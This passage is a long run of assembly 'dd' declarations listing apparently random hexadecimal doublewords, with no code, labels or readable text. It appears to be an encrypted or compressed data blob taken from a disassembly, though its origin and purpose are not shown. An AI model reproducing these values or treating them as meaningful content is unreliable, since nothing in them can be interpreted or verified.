2824CC49h, 23A7EBCEh, 6565DD1Bh dd 0DEE86DDBh, 9EFB8367h, 0A393C6B8h, 575EB804h, 0F0A258CDh dd 7C94979Ch, 0A9440CD7h, 5B0DC6FAh, 478611A1h, 4A38E8D6h dd 0C59C69AAh, 105A1D90h, 5B0515F4h, 0C5B2C231h, 0AAF0E473h dd 5911F6AFh, 699740C3h, 7BC63A7Eh, 0BE7398FFh, 0F2CA694Eh dd 8939D697h, 44660B14h, 0DE5C3D7Bh, 0A38FF307h, 150BEAA4h dd 0B775BBD9h, 34CE6DE8h, 0E57837B2h, 0DC1F4BCh, 1722807h dd 0F762DB72h, 22F0F5B3h, 634E7F0Bh, 70110898h, 0E8AD76F4h dd 0DCCC77D2h, 0A8750321h, 0AB8B2705h, 506D5EDh, 0BD6043CAh dd 1CCED63Fh, 0DFA83484h, 14BE4A30h, 781F5051h, 853CF811h dd 0C5DE7569h, 0E2BEA3CDh, 9CC218Eh, 6391D1A5h, 3003403Dh dd 0A40FBEBFh, 0A36E3451h, 47D21CEAh, 9E477FF5h, 0A1157868h dd 32536D05h, 0AAF495C6h, 4E7DA5D8h, 0C5864943h, 5BCCFBC7h dd 0AA3FFF15h, 0E76C1CE6h, 5EC5DADCh, 607AFD7Ah, 0B9A3A499h dd 0D92B8234h, 29D52771h, 0B44FE59Eh, 954C36Dh, 0FBBE5002h dd 33583735h, 0B1A7A4C4h, 56C08C5h, 559B4DB0h, 6BD33100h dd 434E8065h, 780E2A46h, 0EBD0BD8h, 0E3A45ED4h, 0AB34DCDCh dd 82D78055h, 2B4C4B91h, 0A3BB08BCh, 0C70165B2h, 4BC74495h dd 4B32BE68h, 0F3B58ABBh, 0C0328619h, 0E237CB83h, 65E19F42h dd 0E1AA3E33h, 0B4DCF853h, 0A913FCDEh, 0DB079900h, 0ECDE4D35h dd 97BD78E5h, 702284Eh, 0A77FD6F5h, 0BDD232AAh, 37096DE9h dd 362E84CAh, 0C6F6531Bh, 0C13FA97Bh, 87D635D1h, 48766B93h dd 79DBEAFBh, 54D4B02h, 0E983F9D8h, 0CE23D994h, 8C5EFEh dd 429990DDh, 0A2A21600h, 47BF9C1Eh, 0C280AD60h, 771BDC19h dd 0B4104C8Bh, 0A8509F6Ch, 970A7FC9h, 5C640992h, 54D928C0h dd 7909B5E5h, 62F16CD8h, 0A7FA0151h, 4D89212Ah, 96B102C7h dd 108C992Fh, 99D578A1h, 4C97D27Ch, 2410E00Ch, 4E213A70h dd 216F256Ch, 0F31366DAh, 470FDE55h, 5EAE2EBAh, 90626246h dd 3E6FC928h, 8A6130B6h, 779C3018h, 1BF4F9D7h, 0B7F34400h dd 4463C0D3h, 0BD7424B0h, 0C3E5952h, 3EC79C6Dh, 697F1DFAh dd 4C573A8Ah, 1A3E9E66h, 45897077h, 55B8A62Ah, 0A2F496ACh dd 7EFB78ECh, 0A180B7E4h, 27D81F81h, 0D79791E3h, 0EE221EBFh dd 27B29A08h, 0CED2590h, 0A1DEC100h, 0F7A02597h, 0DD1E8EFFh dd 9E9AD9E9h, 16B29E74h, 2A5045FFh, 0CE28C700h, 826626EBh dd 0C34DF1D3h, 3F9966B2h, 0BBE9780Ah, 3A8D830Ch, 93D6EA98h dd 0E99AC6BDh, 6DE6B7C7h, 1D98F974h, 2545766h, 4E431C10h dd 6442BF3Ch, 0A7E61E13h, 0C6795F5Fh, 0B933587Fh, 41235F9Eh dd 10275A3Bh, 2FF6C2D4h, 1A4D10C4h, 0FECB302Fh, 71A7005Ah dd 0F45A98DDh, 0F6DF7997h, 2BFE43C1h, 19256BEEh, 0AE99761h dd 5FB22B24h, 63E1FF07h, 20F97B8Ch, 51E614D0h, 47AC9433h dd 854E406Eh, 48FD259Dh, 561358B1h, 3F47EDD7h, 90F7A3C2h dd 4258DF73h, 0DDC4F99h, 6A252713h, 4EDEDC71h, 860DD356h dd 95DE68CCh, 3F430F36h, 762A772Eh, 0F4E27B2h, 3700F1CCh dd 2E210C4h, 8E4B02E8h, 0E41AE1D2h, 0F24E55A0h, 0D0019ECCh dd 0C01DD384h, 45231F21h, 0F553FFABh, 7E3106F6h, 0A655CC88h dd 44AD1ABCh, 147AADBEh, 0CCFF2D71h, 0A72D2D4Ah, 0B309598Dh dd 0F09114B2h, 6E1F260Ah, 0C9177265h, 3AF3C499h, 0C966F0E2h dd 0C54664FAh, 5B1CFAF7h, 0CD678503h, 523301AAh, 0DE53AC89h dd 5B6B1935h, 0B28BBED2h, 16E7F917h, 0ADAF1B3Dh, 0BE1D05CCh dd 7CC5D99Ch, 697D901Bh, 0FB7A1F43h, 7A98D133h, 867E8577h dd 10E604D2h, 0F7216072h, 0E818991Eh, 0CED0E1C4h, 2D571A40h dd 9CED189Dh, 48D4936Eh, 529D289Fh, 1A684CF7h, 7FB7E2F8h dd 270EAD6Bh, 0DC44DFA8h, 6628A0B0h, 88A6D599h, 0E11F1D25h dd 0FD5616EAh, 95D7C555h, 5715AE02h, 7667916Bh, 8008347Ah dd 0E690C7C1h, 93A19016h, 5358BD68h, 0E1F4F125h, 534DAE05h dd 89A6DC18h, 637492E1h, 25FAAC5Ch, 3191663h, 2AAEF2E9h dd 8FECE84h, 0C6C7FCBCh, 76B2D86Ch, 0CB72AAB3h, 0C2CD3EC0h dd 171CFD75h, 6DBBC2FDh, 0AED57221h, 0B73D10ACh, 74F36662h dd 0F9ABD1E2h, 15E5CB91h, 0C3ACDD47h, 2FB707F1h, 0AFDFFC31h dd 1638FB7h, 0A605AB47h, 19D7A4C6h, 755E6620h, 499176B9h dd 81A9D3D9h, 0D6242A5Dh, 518A33D9h, 0F0B4E962h, 0F85599C9h dd 513101Eh, 0AEF812FFh, 48555E81h, 919702FAh, 40DA5003h dd 95A216C4h, 50A1DF4Ah, 0EB01FEADh, 5F046B5Dh, 690B8F9h dd 0E62F9C96h, 23866B72h, 9F4A33AFh, 40DFF271h, 7C0A5346h dd 1E4C09D4h, 0E1A6F4Eh, 0DBCFA60Fh, 27388F60h, 1074228Dh dd 4CBFAE1Dh, 2B241077h, 10C7ED75h, 367D1529h, 0B5EC443Fh dd 97D80FE6h, 7B2D6AAEh, 8FCF22FCh, 58DC6822h, 25DAE644h dd 5E96A0A1h, 0BE239AE0h, 0BE5F4867h, 0FAF2B4C1h, 0E54FF819h dd 12B80E95h, 5A880BF6h, 2CB4FBBEh, 121AB005h, 75FF7F7Eh dd 66746682h, 56B258FDh, 0F4626460h, 67041230h, 0DF8AAB5Dh dd 5F1F336Fh, 0A27315B4h, 0D305747Ah, 0D80F7D69h, 0C3366543h dd 975DD8A7h, 93E0D8BFh, 814B143Ah, 31B6EFF3h, 0FFD833ADh dd 0DBB748CEh, 619FBFA4h, 0E48BA07Dh, 4130B395h, 9FD3E218h dd 67EBF073h, 0D530E384h, 978FE9D3h, 580CC070h, 63E66AB5h dd 0D176E200h, 0A1E3ECA3h, 0D83BF141h, 18DA418h, 0E1212A88h dd 9235578Eh, 0ABE417BCh, 0A9F836C6h, 0A6565ECDh, 1C062BEDh dd 365E213Ah, 9BAB3F20h, 0C2F1A03Bh, 1E84317Eh, 1EFC0D5Dh dd 0A8EC1170h, 137DE07Ch, 0F7088F6Ch, 0E5E76197h, 899138A4h dd 0A2A056CDh, 0DA42538Dh, 0C105E282h, 0E1F16711h, 622AC19Dh dd 718258D3h, 904D1269h, 64BDBEA5h, 1E5E443Dh, 0C4329DBCh dd 7959084Eh, 96DC9A7h, 4A91BEFBh, 0E74F9162h, 0A6381512h dd 353B6732h, 19DD60BDh, 152A9A8Fh, 1F53AC80h, 487440D1h dd 3497ED9Ah, 31D73AD7h, 0C1EC5AB2h, 983E382Ch, 0D9B75526h dd 2E323AFFh, 0BC8AC3F3h, 0D1DE2E07h, 636276D3h, 0B0F9529Dh dd 0B22E1ED3h, 9CD4D51Eh, 55B0EF3Fh, 95530FAAh, 502D13B9h dd 51FD0272h, 0FD786ADEh, 948E4E07h, 0CD88EF34h, 6E731CFCh dd 3C0A4614h, 672B7AECh, 9A710C5Ah, 3738D12Ah, 0E2AAB4B1h dd 0AAD3BC19h, 96977ED5h, 15AF59E6h, 710654B1h, 78527C24h dd 5EE94F3Fh, 8726FC4Fh dd 0D2309E3Ch, 0F4CB0BF2h, 500C890Ah, 601FED23h, 0DB649F4Ah dd 0D42D9CA5h, 67964139h, 4D132F6h, 32664ECBh, 3EFA00E0h dd 3CE9C563h, 6F571EB7h, 58E64FA0h, 1B5D79C8h, 0A6366B35h dd 0FF9C7500h, 8CF7F984h, 326B0BF4h, 5391B48Dh, 0D0EEF3B2h dd 256546B6h, 5F7177D5h, 0C32E3F53h, 85C0FDF2h, 4400A982h dd 0F6359661h, 4505C8DBh, 7947DEBFh, 494B17BCh, 0FE24D0C2h dd 0C8296C53h, 59961EFAh, 0D2D7228Dh, 2AC33932h, 9DCF2211h dd 43B1576Ah, 0E282A234h, 0A51D13E4h, 0DBD84D8h, 96971DABh dd 6D589D3Ch, 7A017AC8h, 1947F1F5h, 7F851D87h, 378DF7D5h dd 98626AB4h, 5161B890h, 78D58843h, 0F53F3941h, 0F26E4F45h dd 30746A63h, 0E78FB03Ch, 9777E0BEh, 29699CF0h, 0BC0778EDh dd 589DA8E8h, 0A8A9DAE8h, 0E2E9600Eh, 63CEACCEh, 6048107Dh dd 4BB33E32h, 5F1EE44Bh, 8ECF3F19h, 0B0E8CF66h, 0BE2718CDh dd 4067656Bh, 3B786B60h, 6651D3EEh, 252D99A0h, 609A4176h dd 185CF185h, 0A20ECBEEh, 52B8B6DEh, 0BF86B05Fh, 294EDE8Bh dd 0F1C90124h, 6BCFDF9Ch, 52539474h, 63FB8465h, 0CD49C9A8h dd 95D65888h, 7C5A990Bh, 2D5DD56Fh, 260838F4h, 0D1CA955Bh dd 0C7DB8F33h, 2A247D6Fh, 0F7085000h, 7C87CAF7h, 24150417h dd 682E7A5Ch, 0A4CDD258h, 0B9E90E9Dh, 9AC430ECh, 0F75AB1B2h dd 13BDCC33h, 1EB7D184h, 0D5A71413h, 65FE2566h, 6ACF044Bh dd 0CCA782Bh, 982A648Dh, 3A941B1Dh, 871ECDB8h, 6A15490Fh dd 85D56906h, 4C9A06B9h, 20B8D523h, 0A8A85440h, 483EDC58h dd 4EF04B6Dh, 0D15EE8B6h, 3F4F4211h, 9E0782CEh, 6173055Dh dd 0F958431h, 539E3CB7h, 1CA6F836h, 0EBF4E59Ah, 0EE4C759Bh dd 4CE00657h, 0DBEFBE50h, 0A26FCEFDh, 68FF195Fh, 8F9B052Dh dd 85AB87C7h, 0D277853Ah, 0A5D3354Fh, 5EBE10A3h, 0CFF1345Dh dd 21BA1B1Dh, 56CF0D73h, 4F4E9112h, 81AA20DCh, 5E64A1C2h dd 7BD8A62h, 76CAE49Bh, 76AC8D8Dh, 4D7B069Bh, 0EBBA3794h dd 2F1D7331h, 0D2521F8Eh, 57A15EA4h, 4A460DBAh, 1EE6680h dd 94AE6C49h, 0DD14CC63h, 0FE28105Dh, 712B8C01h, 34BBFE14h dd 48BB033Eh, 66A5AA56h, 9ADF2971h, 94598B58h, 0EC8164F3h dd 0E2897A42h, 35F8EA7Ch, 0D39EA653h, 9F3E91AFh, 0A4A6F611h dd 0EF969937h, 2611DF5Eh, 34203A59h, 0F62551B8h, 0E8D5F722h dd 0EB8BDD42h, 0FF2ACED6h, 4D155261h, 2A2C4657h, 3B69E8C7h dd 8ED1723Dh, 0AB9EB8A1h, 5CF0DB17h, 0C13A7642h, 791066FDh dd 3B08A9FAh, 0CB66639Eh, 73FE6499h, 0D5553066h, 0D906BB6Eh dd 0E849AB76h, 532CB40Fh, 6AD0829Bh, 0E591D330h, 7E36C698h dd 0ABD70C76h, 0F4129CFEh, 0F7C30A4Ch, 1E049F54h, 301BC017h dd 0EE8E93A9h, 105CC4C7h, 0A6BF2553h, 0FAEBC0D4h, 77BE2315h dd 0B35B6C81h, 0AB86735Eh, 6AC93727h, 0DB5B0B86h, 0A959A706h dd 9929B8BAh, 0CB2D122h, 7D1C1525h, 0DE415939h, 0B1F54652h dd 0D9419A9h, 4B946172h, 0CDB50A0Fh, 89AAAA5Fh, 410C1FEBh dd 44D18649h, 0FE8D6B26h, 2CE5E24Bh, 13CB0585h, 0A2FA604h dd 65491F0Bh, 7A4249BDh, 759A538Eh, 0BC972E0h, 104ED52h dd 0DFE1EBF5h, 15DE250Ah, 43613AEBh, 4968922Ch, 8B621282h dd 8FC553F4h, 0F66F9174h, 0AD660A34h, 379C28E2h, 2FFFF9DEh dd 6884CE07h, 61241138h, 5703D269h, 0E2F6F1CDh, 21D826C6h dd 13CC3FFAh, 95A26203h, 480BD9CFh, 0D0C26BF9h, 0E449B3E4h dd 0EFCEFE88h, 5A6DDF69h, 630AA700h, 0F88ABEB3h, 9446CB86h dd 922815C6h, 682DBCDh, 723A68C8h, 18C2CA83h, 0FE6554B5h dd 7CEC73BEh, 0B247C1F6h, 0A9E42561h, 284663AEh, 0FC9AC821h dd 0A34B3C0Fh, 3EDB1C66h, 4BCA9DBh, 3F0B4973h, 0BF9EC9ECh dd 377624C5h, 0A90F2D28h, 0FF2F476Ch, 4761B55Ah, 0A4628DD6h dd 24597A93h, 80C17B2Fh, 6C70D373h, 0EB5648B8h, 9C8D31ADh dd 0F48DE568h, 665B9613h, 73B57A3Eh, 14FA8A88h, 0CB8FDB6Ch dd 697B97Dh, 21162C4Ch, 0C02AE5C9h, 11362EA5h, 3B102F9Fh dd 73277C8Ch, 0E7241F7Fh, 0D73BFD39h, 88B896Dh, 0BAAC9CC0h dd 0F438B66h, 37B0E73Ah, 861BFB9h, 0CDEDAF49h, 9561B260h dd 0AB72210Fh, 414B692Ch, 0E4291523h, 0AFF46570h, 0EC1E6413h dd 0E6F68C40h, 5E9B2F22h, 9507BEC9h, 7156FFB0h, 3AEE22E8h dd 0F54B2234h, 16B044EEh, 3825796Ch, 867FC24h, 315F05CAh dd 8E398EDAh, 3C7D36B6h, 0BC50A9A0h, 265B341Eh, 0ED5A69BDh dd 76A24B0Ah, 0F62679F0h, 0D3A50E9Fh, 42BC3h, 4AF2B2D3h dd 7F10957Ch, 0B4568AFEh, 8DC6CCF3h, 0E00F1BEh, 266A268Fh dd 0B4F8399Eh, 9BC205CFh, 6C491BA3h, 0D7DD5FFEh, 8FB53D6Ah dd 0DC747291h, 66968BCh, 6D55D9E5h, 0A85BD8B4h, 0DE9516BDh dd 1D6E3CEBh, 7302C349h, 3EC6847h, 0CC398EB8h, 618B60EFh dd 0B0B001E0h, 75ABAB68h, 0B41B5572h, 2E215C4Bh, 4453F0F1h dd 2271EBBEh, 0BA204ED0h, 0C3A9D4B4h, 41C485EAh, 0F9EC5D99h dd 0FF6AA62Dh, 12A918B1h, 4E3E0D70h, 0D07B73D8h, 6A887B25h dd 7A412C5h, 0F0F6734h, 43704986h, 0C0A5DEAAh, 4BDDFDBh dd 0FA6AF7F2h, 6CF70599h, 0A2C180B7h, 5368D197h, 6AC9B48h dd 63BBF7D1h, 0E2FC5951h, 30A6B65Bh, 0FDA315B9h, 0EB572816h dd 4478B093h, 3BB5DE57h, 75499518h, 0E9D4789Ch, 8F40FDEh dd 41090F3Ch, 0E330D755h, 0EF3F13E8h, 47162EDFh, 0A123987Eh dd 0EB3F9E1Fh, 1E7164F7h, 0C609EB1Fh, 74C26211h, 0DF6044B1h dd 2F0175Ch, 199A7A9Fh, 0BAF812FDh, 0CB1D934Ah, 0AA0A836Fh dd 3D2C5C1Eh, 1B5C5D4Ch, 89E5540Dh, 0A0BB311Bh, 0F05D6103h dd 9627D90Fh, 0E666A1D9h, 3D3D899Eh, 0AD310F98h, 12E35F72h dd 0E30503A5h, 22E6816Eh, 0AA014CD6h, 0C042666Eh, 67299C39h dd 5CE58BBDh, 0C9C376A2h, 9C73340Bh, 0D4034B51h, 9DB1F278h dd 72206311h, 0C4540FAAh, 8633288Ah, 8E07105h, 482AFB12h dd 0C23E30ACh, 0E3FEEDCFh, 928B9AFDh, 0BC679299h, 75AC60BBh dd 0A8AA1EE7h, 605B44B1h, 80BB495Dh, 70090A15h, 0B4EB6278h dd 276BB217h, 7DF00AB0h, 0A6C9C2DCh, 0C0CF12B7h, 56344641h dd 3E0D48C7h, 5C8C47CDh, 548E0E04h, 8654F526h, 0D224FDE0h dd 3AF1B530h, 0C434D35Eh, 6FC136AEh, 3A66F2C2h, 7C4F5F25h dd 49F0949Fh, 1AEDDC2Bh, 2EF97153h, 0CCBE1D81h, 0FD4B988Ah dd 2BDBB0F0h, 7D5BC26h, 0C690549Eh, 0D601570Ch, 315B8A0Bh dd 1DA2F00Fh, 0FAB911Ah, 78F9506Eh, 28E4D8DAh, 469D2195h dd 2262FCC4h, 0B4E608D4h, 0EC70BC67h, 0CD027736h, 5FBF8396h dd 9CAC875Eh, 0DF164EE6h, 0FFC8D904h, 4238B648h, 0FBC9D6D1h dd 30AC34D2h, 0EFA80D08h, 1425972Eh, 43152047h, 0AE1CC557h dd 0EC074D99h, 33F2447Ch, 899ED7EAh, 12CE8950h, 7458AAA2h dd 0F6C08C52h, 5CCC9810h, 0C1BFF462h, 7DE6A006h, 0BA16C498h dd 1C97F0A2h, 0D35C9F83h, 1A189DF7h, 8E47C78Ah, 0EED39B4Fh dd 7D8A13C6h, 0C8000794h, 0EA411B33h, 8B04CB3Dh, 0B819F08h dd 0CAFEE5D3h, 0F0B53D70h, 0D82AFE29h, 3DE5BF08h, 6CA5796Bh dd 1E0844Ah, 0A0B9FC61h, 65CD2B39h, 33912EE2h, 0C1F606DDh dd 9487838Fh, 0E0B157C4h, 37FE69E0h, 0E1619458h, 919D54C4h dd 42522290h, 84FD93D2h, 6ED72A8Bh, 87E5C53h, 4F6400B7h dd 0FA4A0C23h, 0DA95C4Dh, 9F5A0BC9h, 6DBAFF2Eh, 0B26A6706h dd 9AD8D3E7h, 5510D588h dd 0CDBEACAh, 0FFC6F6B6h, 6F9BE480h, 0EED92DDAh, 5E70FB3Fh dd 92772F64h, 23342F55h, 7AC125DDh, 30789ABBh, 0CC3EB486h dd 0F961754Dh, 171F7FB1h, 0C84C97A0h, 90FE7A21h, 4390AB81h dd 404F801Bh, 0AD683BBFh, 0ADA8F1F1h, 1397DB0h, 0F8B4EA9Ah dd 9E0D6B9h, 0D89894FAh, 0E7DE2D25h, 0F52EF07Ah, 0C4418488h dd 4C15B9DCh, 0AC649EEBh, 0A9CA5AFCh, 7E270E6Ch, 0C0E9C39Bh dd 55855D15h, 0DF91BA32h, 93673968h, 6EA35Fh, 51303C2Ch dd 0C1A4C28Fh, 952280Bh, 160C45Dh, 80DB4FCCh, 0EA728078h dd 0C4BFAD8Ch, 8E7EA591h, 63901922h, 9794FEB0h, 3663FCF5h dd 0F7F66D49h, 5057C454h, 0A5207D16h, 8A1D635Ch, 7543E6ECh dd 2B73D36Bh, 0DC93A71Ch, 8E935CEDh, 0DE4E2A55h, 0A6B382CBh dd 7C6332A4h, 0D06ED183h, 54EB02Fh, 7121852Dh, 327CFA7h dd 242AAA2Dh, 43952259h, 64A2D983h, 0F81FE1B4h, 9BF00EEBh dd 5A42A01Bh, 0A6F17E9Bh, 30C2C33Ch, 8178828Dh, 0D351EE1Bh dd 8B782350h, 98893104h, 0C0AA2B8Bh, 8C9A7E9Ah, 925E7CA5h dd 492A54ADh, 3347B2D3h, 6952DA05h, 0EDFACC9Dh, 96046BB7h dd 3EF0E050h, 3260013Bh, 457C4810h, 66C73C6Dh, 21253034h dd 0DC752649h, 489DF5ADh, 41C12D3Ah, 0D72F1F82h, 2D313739h dd 0F99C67ABh, 0C68D08E8h, 0A755FD4Ch, 1BEF935Eh, 20BBBD1Ah dd 0DD3AE03Ah, 0B8A19C7Bh, 0B783C17Fh, 0D3C5215Fh, 3CD90DB1h dd 141ED77Dh, 997F4170h, 0E862D66Fh, 62DA2EB3h, 0B97512F4h dd 76339807h, 20B02D9Ah, 87A3D4DFh, 64C1E72Fh, 9FA04020h dd 0C07D6249h, 287203BCh, 9B80A7DAh, 0B4E829D2h, 0E6817C61h dd 1BBEF48Ah, 0A04D1A0Bh, 5AD9C39Dh, 0A0EE65A1h, 3B13C3C7h dd 0CC9947F7h, 1E115313h, 6CA51FB7h, 0A3F68DBh, 8AA5B521h dd 7CB3265h, 0D042008Eh, 0AE377664h, 0AFF9D8D4h, 0A6798956h dd 210298CBh, 0DDBA35DDh, 0D09E4705h, 0D02E88FFh, 0AE5EE6C5h dd 7A3348CBh, 148BF844h, 634528D7h, 0C4DB6989h, 0C4BB161Ch dd 89915690h, 87389C8Fh, 4C8568A5h, 0B4CF97E0h, 8A5A19F1h dd 79309744h, 0F1A866D8h, 0F5E7910Eh, 0D369D30Bh, 0B4963106h dd 0F38216BDh, 56C7E238h, 3628AFBAh, 415A0C1Eh, 0DFA1CB4Fh dd 2F473D70h, 390A7AEh, 2650C8A4h, 0D040791h, 0E889DD7Dh dd 0DAFD0EFBh, 0BB566568h, 2C6537Dh, 6D084909h, 3DCAF1B4h dd 0FE74843Ch, 0B602DA42h, 42C3827Ah, 72B49CD1h, 7C8CC27Ah dd 37B41311h, 11FF666Dh, 517F8985h, 30AEC470h, 0CF4D38E4h dd 3FA6D39Bh, 441E14F1h, 74AA3011h, 0EBC4A0A7h, 5D181B1Ah dd 0D22E6BC9h, 7EF9D6BCh, 0D05DA426h, 8F158E80h, 673BDCE7h dd 0C210B6B4h, 0A2AF0D67h, 0ADB4B1A5h, 0F6FBA46h, 74321D3Bh dd 71419A38h, 0A610EE62h, 6C51F31Ah, 757F42D0h, 0AD896B40h dd 0A80AB52Fh, 42A7E746h, 0A51A0870h, 944E93F2h, 179E007Ah dd 8F9CB123h, 2E1F44EBh, 0E522C854h, 0D0A644C5h, 8FB19CFh dd 12A476B9h, 0E9EEAC32h, 0F0545281h, 0D5E24800h, 0CBC9273Eh dd 5C59282Ah, 952DE43Ch, 0CE79A63Ah, 0AE743864h, 0ADF2E614h dd 9982267h, 211EFFC5h, 105D85FEh, 284ABB8Fh, 0E29938A4h dd 7D8582A4h, 0B7E78CE8h, 593424E9h, 56C41BB4h, 0AAEE83C4h dd 0E580E261h, 0DEFC3C04h, 0A0D81A02h, 91AFD290h, 0CE39F8F7h dd 85A54C46h, 0B56F9240h, 39A9CFF6h, 50A4D1CBh, 953E1DD5h dd 0C92A4121h, 1A5C3239h, 75EA4FD1h, 61B78CAFh, 45971785h dd 5659F47Dh, 80712D86h, 5FB42BECh, 652B8A19h, 0A3BEAB21h dd 0C42271E1h, 2612DAB3h, 33FD3425h, 6EB206F1h, 3809CBBAh dd 0F8365AAFh, 0A1CB1B0Eh, 13651612h, 0A2CE1113h, 9F5DE245h dd 9633E943h, 0FF612026h, 0A421C040h, 1A73B5F0h, 5796788Eh dd 76370983h, 5CC3E429h, 0D71B2880h, 3C41059h, 2005DC55h dd 0DB855B76h, 77889947h, 5AE3C5F9h, 7E187F61h, 0C9AB3E0Eh dd 41339C86h, 0FE9DD62Ch, 0AAA62F25h, 0A70A077Dh, 0F008F5A4h dd 10405EB2h, 0AB0FBCC2h, 19B55E64h, 618E053Fh, 0EDD4CEF2h dd 0B2B940FBh, 1B95D385h, 330B77FFh, 0EDC00969h, 36A32FE0h dd 6EF27F90h, 0ED68D03Fh, 0B9918A7h, 1AC9C985h, 86FE212Ch dd 88D29F9Eh, 902037E3h, 0F755E514h, 848598CBh, 43D4BAB0h dd 362EBB2Dh, 431813ABh, 5CF77589h, 8788E07Ch, 3A2BBEFCh dd 0F1D26A27h, 26048B3Dh, 767B0894h, 9F7063E7h, 8F8BD375h dd 0AD91F363h, 628BC620h, 354C69B7h, 0C96CB426h, 0B3C3EA0Dh dd 0DCA0F971h, 0E2A60385h, 2CC5D896h, 57B2F718h, 9466416Ch dd 0E5718F70h, 0FF09AF82h, 4BD222BCh, 0ED073FB8h, 5B427BA4h dd 0F396A6A8h, 5EBB7E46h, 0B70A05CFh, 0A0770E81h, 0B45299F7h dd 0E9BCA0Ch, 47F38D01h, 0D72F9372h, 0A52D202h, 60219856h dd 54067406h, 0EF1C0621h, 0D85BB9C7h, 8D8D482Ah, 0FF3208A1h dd 132250B0h, 22D5527Ah, 21866B2Fh, 20DE6DD5h, 6B4DF012h dd 0EDC85AC1h, 0D7263742h, 0E7A004A9h, 0D261803Eh, 3EB63572h dd 30FA56D3h, 0B99B5E09h, 5B30F25Dh, 71BC09Dh, 974B0140h dd 402D7EF1h, 126E2979h, 0BBBB0C48h, 69A8DA15h, 22880526h dd 0CEBFF2A4h, 0CC9F14D2h, 60443Eh, 0ADD46CE9h, 7112A6DEh dd 3E199F47h, 0ED270978h, 0B54B2D53h, 0EFFF1048h, 0E3039506h dd 8061335Fh, 485333ECh, 0E3144FB3h, 38885928h, 6951C8B1h dd 854BC4A3h, 0CB8A7993h, 0CFC7F395h, 63FAD48Ah, 0AF915F43h dd 0F130C120h, 60FBC8EAh, 0ACEC80FAh, 8222CEDBh, 644B2559h dd 21CE815Ah, 0D7BFE438h, 16C335E1h, 28281E04h, 4A5538B5h dd 0EEE7A20Ah, 0FC456270h, 0AA75FA9Ch, 0F9DCCD0Ah, 0F58566B8h dd 0A665F272h, 0A9BD142Eh, 4436DB30h, 4F44A888h, 93568A5Ah dd 7CB5DEDCh, 0C138B380h, 56F39381h, 6D4E3550h, 3EE26A30h dd 7E741205h, 0A9C5F82h, 0B9B48014h, 489CA1FDh, 166B33A3h dd 0C17CCD7Eh, 2C098BB6h, 516C2FA6h, 0A4EC238h, 8B18A4FDh dd 0F8F2F159h, 7C847887h, 0B0E9C6C4h, 914D5C6Fh, 77C40774h dd 0F5BCD6Fh, 5EB77A0Ch, 42C8702Fh, 0CD2C8AF2h, 9943540Eh dd 0AC27F77Eh, 16693B4Dh, 0F0A1E6C7h, 4D61C591h, 3A5679FEh dd 81C7C738h, 0DABE3DCEh, 96867472h, 82FD97EBh, 0BBE15A27h dd 88C0AFD2h, 559954B8h, 83884516h, 5FB5E6Eh, 6EBF066Fh dd 9311F5ECh, 0B3C031C5h, 0D6497767h, 0F9CBC905h, 44A927BFh dd 0D6BFE7FBh, 45110F6Bh, 0C9C1429Ah, 0B62E8CC1h, 492A7B93h dd 0E0A6D94Ch, 949A4851h, 0EFC49F48h, 818AA0FFh, 5A877BF0h dd 0E293718Ch, 0D6D69709h, 1987D036h, 1ED8BECBh, 0DE6FCC23h dd 1DC082CCh, 0B33A7F4h, 54F12E36h, 0C19179F6h, 0CE8864ADh dd 0A1CDA592h, 0BD09F43Ah, 6A748917h, 1D0A20B8h, 7DF60F4h dd 0C0150433h, 45B4D342h, 1E2DBCC9h, 2746CB6Ch, 53276C42h dd 11E5E4BEh, 0F3733E6Ch, 7DB1B7h, 6C0DA52Ch, 964FC36h dd 2C042DDDh, 0AC1AD5DFh, 0D02079A4h, 0CFC506F0h, 0A702E31Dh dd 0B6302081h, 216B6E74h, 0CA74FAD0h, 6B4D3840h, 87FCFE26h dd 0E49468EAh, 0B5AF0DFEh, 8B1F0A36h, 72421F16h, 69F67370h dd 93305B69h, 0F914D717h, 0CF8693C8h, 843D5CA2h, 13B207AEh dd 0C48C4E7Eh, 0BF1399A9h, 7E9F9AF8h, 51FB33h, 810C39BDh dd 0DF4349A8h, 60BC44C3h, 23060183h, 347ED084h, 0CB28A181h dd 803F6DC5h, 46B51183h, 33288BF8h, 0B3285458h, 143908E7h dd 6CF507DCh, 890FC01Bh dd 221E1C92h, 4E9E9106h, 320A8F95h, 5B863927h, 0F8A0B202h dd 84D43D01h, 5218DAFFh, 5B9977D6h, 88D00EBFh, 209F7C6h dd 0A11D71A0h, 38FFFC6h, 0F391E23Ah, 671F1Dh, 5057ACEFh dd 8AF0B9A5h, 8F3A2937h, 40F3A4CDh, 34D0A3D6h, 8827D4C9h dd 2A24C06Fh, 6EE7D64Ah, 7481E750h, 3B245F83h, 59E903F5h dd 54C0FCB2h, 0A9276FEAh, 0E11DB8FDh, 65F69A73h, 0EC8184FEh dd 0CBBBF6D9h, 756A23F4h, 115F8A31h, 0E003223Ah, 0E5586658h dd 0B7629C75h, 40D17099h, 0CA635051h, 6B79B411h, 11B5793Dh dd 63C7A7ABh, 5DE7F1ADh, 0EBB8B44Eh, 439C82E2h, 8197A495h dd 7681BA98h, 0EAE5290Bh, 27847980h, 0BE8B64Bh, 686FC51Bh dd 0C70D1C40h, 5D596D5Ch, 1D0A1C8Ah, 380EE750h, 7C793EECh dd 9F9B0611h, 9B9BD9BEh, 0C46C0ECFh, 66D07D64h, 0F38F6E6Fh dd 6C45764Ch, 3BCEC96Ah, 0CA7D2BB0h, 0E8849130h, 2105E0Fh dd 2C308B34h, 8BC13015h, 0E7141424h, 40F92A8Eh, 0C96C5728h dd 0EABFD63Ch, 0DAEEB2EFh, 0D2E86200h, 98FBAEE2h, 5639CB28h dd 69597A3Bh, 0A09E8A5Ah, 0BF1C4808h, 0F083B358h, 7D3D4D07h dd 934CEFD8h, 800BEE8Eh, 476D5C52h, 0E5460E5Dh, 0D871C430h dd 3C769269h, 0E5B545D6h, 75A2B4D9h, 0F2BC8715h, 0F84E57D9h dd 3378D74Ch, 4808132Fh, 0F623E02Eh, 0CF1EDC96h, 3851DC17h dd 0DD53E1F5h, 3CE4F9E2h, 8B7ADBBDh, 9C96562h, 0ACFA1239h dd 27512898h, 0CA920AF4h, 9EFAD908h, 9E8BF8BFh, 8ACEF468h dd 2BE0FD6h, 9E0E9ADh, 0DA3CD18Ah, 84E4CFC3h, 874A6ED2h dd 0E88B9D8h, 21CD32E2h, 5211DAB8h, 0CB6D2800h, 0CAB5FE88h dd 0F2093F65h, 0F65A0D8Bh, 92733A0h, 56411D3Dh, 1B14B6BDh dd 0A20347DFh, 0E6150D3Bh, 1B48FE25h, 